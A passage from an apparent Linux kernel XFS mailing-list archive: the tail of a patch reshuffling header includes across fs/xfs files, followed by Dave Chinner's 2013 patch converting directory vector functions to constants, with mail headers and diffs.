@@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_shared.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" @@ -33,10 +31,13 @@ #include "xfs_inode.h" #include "xfs_ialloc.h" #include "xfs_itable.h" +#include "xfs_alloc.h" #include "xfs_rtalloc.h" +#include "xfs_quota.h" #include "xfs_error.h" #include "xfs_bmap.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_space.h" #include "xfs_qm.h" diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c index 3af50cc..7046289 100644 --- a/fs/xfs/xfs_qm_bhv.c +++ b/fs/xfs/xfs_qm_bhv.c @@ -18,8 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -32,6 +32,7 @@ #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_qm.h" diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index dcf345a..ed79a72 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -20,11 +20,11 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -32,6 +32,7 @@ #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_itable.h" #include "xfs_bmap.h" diff --git a/fs/xfs/xfs_quotaops.c b/fs/xfs/xfs_quotaops.c index 1326d81..2dd467b 100644 --- a/fs/xfs/xfs_quotaops.c +++ b/fs/xfs/xfs_quotaops.c @@ -17,8 +17,8 @@ */ #include "xfs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_trans_resv.h" -#include "xfs_log.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 6f63de3..23c5ca2 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -17,11 +17,11 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -34,6 +34,7 @@ #include "xfs_rtalloc.h" #include "xfs_fsops.h" #include "xfs_error.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_trans_space.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index ed2b3c6..8c4307d 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -18,11 +18,10 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" #include "xfs_inum.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -44,6 +43,8 @@ #include "xfs_fsops.h" #include "xfs_trace.h" #include "xfs_cksum.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_buf_item.h" /* diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index b49a891..5f93d21 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -17,11 +17,11 @@ */ #include "xfs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -41,7 +41,9 @@ #include "xfs_itable.h" #include "xfs_fsops.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" +#include "xfs_log.h" #include "xfs_log_priv.h" #include "xfs_trans_priv.h" #include "xfs_filestream.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 73a06f9..1859049 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -17,12 +17,12 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_shared.h" #include "xfs_fs.h" #include "xfs_format.h" -#include "xfs_shared.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -41,7 +41,9 @@ #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_symlink.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" +#include "xfs_log.h" /* ----- Kernel only functions below ----- */ STATIC int diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 4251cd8..bf59a2b 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -19,9 +19,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_trans_resv.h" #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" @@ -31,6 +31,7 @@ #include "xfs_trace.h" #include "xfs_symlink.h" #include "xfs_cksum.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index 6ca9920..889bb42 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -17,10 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -38,6 +38,8 @@ #include "xfs_bmap.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" +#include "xfs_trans.h" +#include "xfs_log.h" #include "xfs_log_priv.h" #include "xfs_buf_item.h" #include "xfs_quota.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 06000a9..8d1595f 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -18,10 +18,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -38,10 +38,12 @@ #include "xfs_extent_busy.h" #include "xfs_bmap.h" #include "xfs_quota.h" -#include "xfs_qm.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_trans_space.h" +#include "xfs_qm.h" #include "xfs_inode_item.h" +#include "xfs_log.h" #include "xfs_log_priv.h" #include "xfs_buf_item.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 09cf40b..f75f9ee 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -18,10 +18,6 @@ #ifndef __XFS_TRANS_H__ #define __XFS_TRANS_H__ -struct xfs_log_item; - -#include "xfs_trans_resv.h" - /* kernel only transaction subsystem defines */ struct xfs_buf; @@ -85,6 +81,9 @@ struct xfs_item_ops { #define XFS_ITEM_LOCKED 2 #define XFS_ITEM_FLUSHING 3 +void xfs_log_item_init(struct xfs_mount *mp, struct xfs_log_item *item, + int type, const struct xfs_item_ops *ops); + /* * This is the type of function which can be given to xfs_trans_callback() * to be called upon the transaction's commit to disk. @@ -92,6 +91,16 @@ struct xfs_item_ops { typedef void (*xfs_trans_callback_t)(struct xfs_trans *, void *); /* + * Structure used to pass callback function and the function's argument + * to the log manager. + */ +typedef struct xfs_log_callback { + struct xfs_log_callback *cb_next; + void (*cb_func)(void *, int); + void *cb_arg; +} xfs_log_callback_t; + +/* * This is the structure maintained for every active transaction. */ typedef struct xfs_trans { @@ -132,7 +141,6 @@ typedef struct xfs_trans { int64_t t_rextents_delta;/* superblocks rextents chg */ int64_t t_rextslog_delta;/* superblocks rextslog chg */ struct list_head t_items; /* log item descriptors */ - xfs_trans_header_t t_header; /* header for in-log trans */ struct list_head t_busy; /* list of busy extents */ unsigned long t_pflags; /* saved process flags state */ } xfs_trans_t; @@ -237,6 +245,7 @@ void xfs_trans_log_efd_extent(xfs_trans_t *, xfs_fsblock_t, xfs_extlen_t); int xfs_trans_commit(xfs_trans_t *, uint flags); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); void xfs_trans_cancel(xfs_trans_t *, int); int xfs_trans_ail_init(struct xfs_mount *); void xfs_trans_ail_destroy(struct xfs_mount *); diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 21c6d7d..4b47cfe 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -18,15 +18,16 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_trace.h" #include "xfs_error.h" +#include "xfs_log.h" #ifdef DEBUG /* diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index 0167a65..6b1b993 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -18,8 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -28,6 +28,7 @@ #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 4d630d2..2025f6e 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -17,10 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -33,6 +33,7 @@ #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_priv.h" #include "xfs_qm.h" diff --git a/fs/xfs/xfs_trans_extfree.c b/fs/xfs/xfs_trans_extfree.c index 3bfb98b..47978ba 100644 --- a/fs/xfs/xfs_trans_extfree.c +++ b/fs/xfs/xfs_trans_extfree.c @@ -18,11 +18,12 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_extfree_item.h" diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c index 9ffa83f..8580127 100644 --- a/fs/xfs/xfs_trans_inode.c +++ b/fs/xfs/xfs_trans_inode.c @@ -18,8 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -29,6 +29,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_inode_item.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h index c52def0..12e86af 100644 --- a/fs/xfs/xfs_trans_priv.h +++ b/fs/xfs/xfs_trans_priv.h @@ -27,7 +27,6 @@ struct xfs_log_vec; void xfs_trans_init(struct xfs_mount *); -int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); void xfs_trans_add_item(struct xfs_trans *, struct xfs_log_item *); void xfs_trans_del_item(struct xfs_log_item *); void xfs_trans_free_items(struct xfs_trans *tp, xfs_lsn_t commit_lsn, diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index cc83612..89de046 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -18,11 +18,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" +#include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_trans_resv.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -41,6 +40,7 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_quota.h" +#include "xfs_trans.h" #include "xfs_qm.h" #include "xfs_trans_space.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 0804750..2305299 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -18,8 +18,7 @@ #include "xfs.h" #include "xfs_log_format.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C8177F5E for ; Sun, 29 Sep 2013 22:07:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0BC48F8039 for ; Sun, 29 Sep 2013 20:07:32 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Kxq4CpXBVFG8CTfr for ; Sun, 29 Sep 2013 20:07:29 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoNLzMIGDE5AxsZiAW8Bo4ZhWEDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lw-Sz for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Cf-SC for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 15/16] xfs: convert directory vector functions to constants Date: Mon, 30 Sep 2013 13:07:12 +1000 X-ASG-Orig-Subj: [PATCH 15/16] xfs: convert directory vector functions to constants Message-Id: <1380510433-8353-16-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510449 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Many of the vectorised function calls now take no parameters and return a constant value. There is no reason for these to be vectored functions, so convert them to constants Binary sizes: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 789061 96802 1096 886959 d88af fs/xfs/xfs.o.p5 789733 96802 1096 887631 d8b4f fs/xfs/xfs.o.p6 791421 96802 1096 889319 d91e7 fs/xfs/xfs.o.p7 791701 96802 1096 889599 d92ff fs/xfs/xfs.o.p8 791205 96802 1096 889103 d91cf fs/xfs/xfs.o.p9 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_btree.c | 14 ++- fs/xfs/xfs_da_format.c | 222 +++++++++++++++++----------------------------- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2.h | 14 +-- fs/xfs/xfs_dir2_block.c | 4 +- fs/xfs/xfs_dir2_data.c | 8 +- fs/xfs/xfs_dir2_leaf.c | 6 +- fs/xfs/xfs_dir2_node.c | 8 +- fs/xfs/xfs_dir2_readdir.c | 6 +- fs/xfs/xfs_dir2_sf.c | 6 +- 10 files changed, 113 insertions(+), 177 deletions(-) diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index a51762d..796272a 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -333,8 +333,7 @@ xfs_da3_node_create( dp->d_ops->node_hdr_to_disk(node, &ichdr); xfs_trans_log_buf(tp, bp, - XFS_DA_LOGRANGE(node, &node->hdr, - dp->d_ops->node_hdr_size())); + XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size)); *bpp = bp; return(0); @@ -838,13 +837,12 @@ xfs_da3_node_rebalance( */ dp->d_ops->node_hdr_to_disk(node1, &nodehdr1); xfs_trans_log_buf(tp, blk1->bp, - XFS_DA_LOGRANGE(node1, &node1->hdr, - dp->d_ops->node_hdr_size())); + XFS_DA_LOGRANGE(node1, &node1->hdr, dp->d_ops->node_hdr_size)); dp->d_ops->node_hdr_to_disk(node2, &nodehdr2); xfs_trans_log_buf(tp, blk2->bp, XFS_DA_LOGRANGE(node2, &node2->hdr, - dp->d_ops->node_hdr_size() + + dp->d_ops->node_hdr_size + (sizeof(btree2[0]) * nodehdr2.count))); /* @@ -915,7 +913,7 @@ xfs_da3_node_add( nodehdr.count += 1; dp->d_ops->node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, oldblk->bp, - XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); + XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size)); /* * Copy the last hash value from the oldblk to propagate upwards. @@ -1350,7 +1348,7 @@ xfs_da3_node_remove( nodehdr.count -= 1; dp->d_ops->node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, drop_blk->bp, - XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); + XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size)); /* * Copy the last hash value from the block to propagate upwards. @@ -1423,7 +1421,7 @@ xfs_da3_node_unbalance( dp->d_ops->node_hdr_to_disk(save_node, &save_hdr); xfs_trans_log_buf(tp, save_blk->bp, XFS_DA_LOGRANGE(save_node, &save_node->hdr, - dp->d_ops->node_hdr_size())); + dp->d_ops->node_hdr_size)); /* * Save the last hashval in the remaining block for upward propagation. diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index a76b044e..5991b26 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -209,31 +209,41 @@ xfs_dir3_sfe_put_ino( /* * Directory data block operations */ -static int -__xfs_dir3_data_entsize( - bool ftype, - int n) -{ - int size = offsetof(struct xfs_dir2_data_entry, name[0]); - size += n; - size += sizeof(xfs_dir2_data_off_t); - if (ftype) - size += sizeof(__uint8_t); - return roundup(size, XFS_DIR2_DATA_ALIGN); -} +/* + * For special situations, the dirent size ends up fixed because we always know + * what the size of the entry is. That's true for the "." and "..", and + * therefore we know that they are a fixed size and hence their offsets are + * constant, as is the first entry. + * + * Hence, this calculation is written as a macro to be able to be calculated at + * compile time and so certain offsets can be calculated directly in the + * structure initaliser via the macro. There are two macros - one for dirents + * with ftype and without so there are no unresolvable conditionals in the + * calculations. We also use round_up() as XFS_DIR2_DATA_ALIGN is always a power + * of 2 and the compiler doesn't reject it (unlike roundup()). + */ +#define XFS_DIR2_DATA_ENTSIZE(n) \ + round_up((offsetof(struct xfs_dir2_data_entry, name[0]) + (n) + \ + sizeof(xfs_dir2_data_off_t)), XFS_DIR2_DATA_ALIGN) + +#define XFS_DIR3_DATA_ENTSIZE(n) \ + round_up((offsetof(struct xfs_dir2_data_entry, name[0]) + (n) + \ + sizeof(xfs_dir2_data_off_t) + sizeof(__uint8_t)), \ + XFS_DIR2_DATA_ALIGN) static int xfs_dir2_data_entsize( int n) { - return __xfs_dir3_data_entsize(false, n); + return XFS_DIR2_DATA_ENTSIZE(n); } + static int xfs_dir3_data_entsize( int n) { - return __xfs_dir3_data_entsize(true, n); + return XFS_DIR3_DATA_ENTSIZE(n); } static __uint8_t @@ -294,45 +304,6 @@ xfs_dir3_data_entry_tag_p( } /* - * Offsets of . and .. in data space (always block 0) - */ -static xfs_dir2_data_aoff_t -xfs_dir2_data_dot_offset(void) -{ - return sizeof(struct xfs_dir2_data_hdr); -} - -static xfs_dir2_data_aoff_t -xfs_dir2_data_dotdot_offset(void) -{ - return xfs_dir2_data_dot_offset() + xfs_dir2_data_entsize(1); -} - -static xfs_dir2_data_aoff_t -xfs_dir2_data_first_offset(void) -{ - return xfs_dir2_data_dotdot_offset() + xfs_dir2_data_entsize(2); -} - -static xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(void) -{ - return sizeof(struct xfs_dir3_data_hdr); -} - -static xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(void) -{ - return xfs_dir3_data_dot_offset() + xfs_dir3_data_entsize(1); -} - -static xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(void) -{ - return xfs_dir3_data_dotdot_offset() + xfs_dir3_data_entsize(2); -} - -/* * location of . and .. in data space (always block 0) */ static struct xfs_dir2_data_entry * @@ -340,7 +311,7 @@ xfs_dir2_data_dot_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir2_data_dot_offset()); + ((char *)hdr + sizeof(struct xfs_dir2_data_hdr)); } static struct xfs_dir2_data_entry * @@ -348,7 +319,8 @@ xfs_dir2_data_dotdot_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir2_data_dotdot_offset()); + ((char *)hdr + sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1)); } static struct xfs_dir2_data_entry * @@ -356,7 +328,9 @@ xfs_dir2_data_first_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir2_data_first_offset()); + ((char *)hdr + sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1) + + XFS_DIR2_DATA_ENTSIZE(2)); } static struct xfs_dir2_data_entry * @@ -364,7 +338,7 @@ xfs_dir3_data_dot_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset()); + ((char *)hdr + sizeof(struct xfs_dir3_data_hdr)); } static struct xfs_dir2_data_entry * @@ -372,7 +346,8 @@ xfs_dir3_data_dotdot_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset()); + ((char *)hdr + sizeof(struct xfs_dir3_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1)); } static struct xfs_dir2_data_entry * @@ -380,7 +355,9 @@ xfs_dir3_data_first_entry_p( struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset()); + ((char *)hdr + sizeof(struct xfs_dir3_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1) + + XFS_DIR2_DATA_ENTSIZE(2)); } static struct xfs_dir2_data_free * @@ -395,44 +372,32 @@ xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) return ((struct xfs_dir3_data_hdr *)hdr)->best_free; } -static size_t -xfs_dir2_data_entry_offset(void) -{ - return sizeof(struct xfs_dir2_data_hdr); -} - static struct xfs_dir2_data_entry * xfs_dir2_data_entry_p(struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir2_data_entry_offset()); + ((char *)hdr + sizeof(struct xfs_dir2_data_hdr)); } static struct xfs_dir2_data_unused * xfs_dir2_data_unused_p(struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir2_data_entry_offset()); -} - -static size_t -xfs_dir3_data_entry_offset(void) -{ - return sizeof(struct xfs_dir3_data_hdr); + ((char *)hdr + sizeof(struct xfs_dir2_data_hdr)); } static struct xfs_dir2_data_entry * xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_entry_offset()); + ((char *)hdr + sizeof(struct xfs_dir3_data_hdr)); } static struct xfs_dir2_data_unused * xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir3_data_entry_offset()); + ((char *)hdr + sizeof(struct xfs_dir3_data_hdr)); } @@ -440,15 +405,9 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) * Directory Leaf block operations */ static int -xfs_dir2_leaf_hdr_size(void) -{ - return sizeof(struct xfs_dir2_leaf_hdr); -} - -static int xfs_dir2_max_leaf_ents(struct xfs_mount *mp) { - return (mp->m_dirblksize - xfs_dir2_leaf_hdr_size()) / + return (mp->m_dirblksize - sizeof(struct xfs_dir2_leaf_hdr)) / (uint)sizeof(struct xfs_dir2_leaf_entry); } @@ -459,15 +418,9 @@ xfs_dir2_leaf_ents_p(struct xfs_dir2_leaf *lp) } static int -xfs_dir3_leaf_hdr_size(void) -{ - return sizeof(struct xfs_dir3_leaf_hdr); -} - -static int xfs_dir3_max_leaf_ents(struct xfs_mount *mp) { - return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size()) / + return (mp->m_dirblksize - sizeof(struct xfs_dir3_leaf_hdr)) / (uint)sizeof(struct xfs_dir2_leaf_entry); } @@ -545,25 +498,13 @@ xfs_dir3_leaf_hdr_to_disk( /* * Directory/Attribute Node block operations */ -static inline int -xfs_da2_node_hdr_size(void) -{ - return sizeof(struct xfs_da_node_hdr); -} - static struct xfs_da_node_entry * xfs_da2_node_tree_p(struct xfs_da_intnode *dap) { return dap->__btree; } -static inline int -xfs_da3_node_hdr_size(void) -{ - return sizeof(struct xfs_da3_node_hdr); -} - -static inline struct xfs_da_node_entry * +static struct xfs_da_node_entry * xfs_da3_node_tree_p(struct xfs_da_intnode *dap) { return ((struct xfs_da3_intnode *)dap)->__btree; @@ -630,22 +571,16 @@ xfs_da3_node_hdr_to_disk( * Directory free 